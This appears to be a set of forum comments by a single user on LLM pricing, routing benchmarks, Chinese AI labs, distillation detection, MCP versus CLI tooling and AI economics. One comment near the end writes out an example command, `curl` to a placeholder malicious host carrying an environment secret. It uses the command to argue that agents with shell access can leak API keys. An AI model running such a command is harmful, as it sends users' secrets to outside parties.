crazylogger

Certainly sounds like a "P vs NP" style conjecture that shouldn't be possible in practice, save for certain generalizations, such as "this is a cybersecurity task, we know Fable will refuse (and score zero), so we just route to K3".

Oracle routing is a method for measuring the best theoretical performance by running the task through each model and then picking the cheapest correct option (the cost/performance ceiling).

Their "router" is an oracle reference point where they choose the lower cost model after running both and therefore knowing who passed the test. The cost savings part is only Fireworks theorizing what would happen if an equivalent predicting router exists. That's a big if.

The Y axis is total cost in USD. For it to go down would mean OpenAI refunding you money.

Manufacturing is primarily in China - that's true for Go Pro & everyone else and almost needless to say. The point is China usually eats the design layer too, making Apple a little unique in that they survived Chinese competition completely unscathed.

Even ignoring chip export ban, Chinese companies have way less funding than American counterparts, maybe 1 or 2 orders of magnitude less depending on which company you look at. Deepseek’s recent big funding round being “only” a couple billion $ at $50B valuation, for example. Bytedance and Tencent are tech giants for sure, nonetheless they’re not Google kind of giant.

To be fair while almost no company publishes what a "credit" or what a 5h window in their subscription plan really is in terms of input/cached input/output tokens, Xiaomi does: https://mimo.mi.com/docs/en-US/tokenplan/Token%20Plan/subscr...

Students will just one-shot whatever lab problems professor comes up with using Claude Code.

Actually they don't even need to compete against frontier closed models, they just need to work.

99.99% people's day jobs aren't competing for the Fields Medal or even finding security vulnerabilities. So it appears while TAM (total addressable market) of AI in general is huge, TAM for frontier LLMs is tiny. Efficiency gains at roughly the same performance might be all people care about from now on.

In a typical agent loop your N-th LLM request naturally becomes prefix for the (N+1)-th request. As the thread grows longer, cache hit rate converges to 100% and unit pricing for cached tokens is 10-100x cheaper.

Chinese labs access Claude via API. Isn't it the black box method by definition?

Xiaomi Mimo v2.5 is my favorite alternative. Matches DS v4 Flash (official) pricing exactly and supports image/audio/video input.

Cache hit rate dominates your total cost calculation for long agent session, and it largely depends on the provider. Deepseek's native deployment is probably much better than third party in this regard. For v4 pro it's a whopping >100x price difference between normal input vs. cached input tokens.

The promise of intelligence might be larger still. By scaling and using superintelligent LLMs to write code for itself, it's possible that the whole field of robotics is just another problem you can point LLM agents at and expect to be solved by afternoon, just like one of those math puzzles. "Traditional" robotics R&D (or any R&D really) would be worthless due to abundance.

This is equivalent to buying 3 extra days of free time with 60% of your income. You want more (holidays, in this case) and you buy them with work.

They basically said "Deepseek ran 150,000 requests and here's the gist of one of their prompts". Anthropic doesn't know which accounts are Deepseek proxies beforehand, so definitely sounds like retrospective analysis of broad user logs to me.

Of course Anthropic realizes saying this straight is problematic so they said they examined request metadata, but no, I don't think they can get this kind of insight from metadata (token counts, request time, etc.)

Didn’t they all but admit they’ve been storing and actively looking at requests with this post: https://www.anthropic.com/news/detecting-and-preventing-dist... ?

If they weren’t storing, they’d be oblivious to what customers are doing, making this kind of detection impossible. What data did they train their classifier on, if not real user (distiller) traffic?

It might seem weird for us to teach beginners Python, knowing that they’ll then have agents output other, faster languages. I see an analogy here with Chinese: Many people don’t realize this, but children in China first learn Latin characters, which they use to spell out Chinese phonetically, using a system called “pinyin.” They then use their knowledge of Latin characters to learn Chinese characters, whose pronunciation isn’t obvious from the characters themselves.

The article did explain, albeit near the end.

OpenRouter may see you fire hundreds of requests at them, but they have no idea that "these 50 requests here at 4PM are for task A", "those 100 requests there does task B", etc. So it's a shallow analysis at the "overall request shape" level.

For a single database using UUIDs, yes, it's astronomically rare. But it's quite a different thing to say that no computer system on Earth has ever experienced a UUID collision. The number of systems out there is also astronomical.

People had this "why you probably can't run a GPT-4 (or even GPT-3.5) class model on your MBP anytime soon" conversation before.

Today's LLMs are able pack much more capabilities into fewer parameters compared to 2023. We might still be at the very rudimentary phase of this technology there are low-hanging efficiency gains to be had left and right. These models consume many orders of magnitude more energy than a human brain, this all seems like room for improvement.

The right question: is there a law in information theory that fundamentally prevents a 70B model of any architecture from being as smart as Opus 4.7?

"Hi ChatGPT, propose and prove something radically new in the genre of Gödel's theorem."

How is this not just another proposed problem (albeit with a search space much larger than an Erdos problem's)?

I haven't seen anyone claiming that API prices are subsidized.

At some point (from the very beginning till ~2025Q4) Claude Code's usage limit was so generous that you can get roughly $10~20 (API-price-equivalent) worth of usage out of a $20/mo Pro plan each day (2 * 5h window) - and for good reason, because LLM agentic coding is extremely token-heavy, people simply wouldn't return to Claude Code for the second time if provided usage wasn't generous or every prompt costs you $1. And then Codex started trying to poach Claude Code users by offering even greater limits and constantly resetting everyone's limit in recent months. The API price would have to be 30x operating cost to make this not a subsidy. That would be an extraordinary claim.

Training data == source code, training algorithm == compiler, model weights == compiled binary.

If all they do is "just" brute-force problem solving, then they are already bound to take over R&D & other knowledge work and exponentially accelerate progress, i.e. the SciFi "singularity" BS ends up happening all the same. Whether we classify them as true reasoning is just semantics.

Why would this be in the client code though?

This feels so wrong. the LLM should play the role of a very general (but empty & un-opinionated) brain - you don’t want to perform a coding-specific lobotomy on someone every day. The proper target of their RL should have been their harness. That’s what determines the agent's trajectory as much as the base model.

I also wonder since they’re doing constant RL on model weights with today's Cursor design, does that mean they can never change their system prompt & other parts of the harness?

1) Comparison between past trajectories data would be meaningless if they were operating under different instructions.

2) Performance will be terrible the next time they change their tool design, since the model is now "opinionated" based on how a previous version of Cursor was designed.

Anthropic is more sensible with their “constitution” approach to safety. The behaviors (and ultimately the values) you want your model to follow should be a document, not a lobotomy.

MCP solves a very specific problem: how do you ship a LLM’s tool/function so that it is callable by an LLM in an inter-process manner (so that you don’t need to modify OpenAI’s code to make your tool available in ChatGPT)? CLIs concern what happens inside such tools, namely a `bash` tool. As you can see they are different layers of the same stack.

LLMs don’t need a special protocol ... LLMs are really good at using command-line tools.

The author's point only makes sense if LLMs all have a computer built-in - they don't. LLMs will only have a commandline if it is provided with commandline tools, and MCP is the standard way to provide tools.

If I have to find an analogy for this (nonsensical) MCP vs. CLI framing, it's like someone saying “ditch the browser, use html instead” - what is that supposed to mean?

Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use?

Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/

Then you inevitably have to leak your API secret to the LLM in order for it to successfully call the APIs.

MCP is a thin toolcall auth layer that has to be there so that ChatGPT and claude.ai can "connect to your Slack", etc.

Money is useful mostly for hiring human labor to outcompete others, e.g. Satya Nadella has 100K employees under his command, you don't, so you can't realistically compete with MS today - this is their main moat.

If AI renders human labor a cheap commodity (say you can orchestrate a bunch of agents to develop + market a Windows competitor for $1000 of compute), what used to be "Satya + his army vs. you" now becomes mostly a 1:1 fair fight, which favors the startup.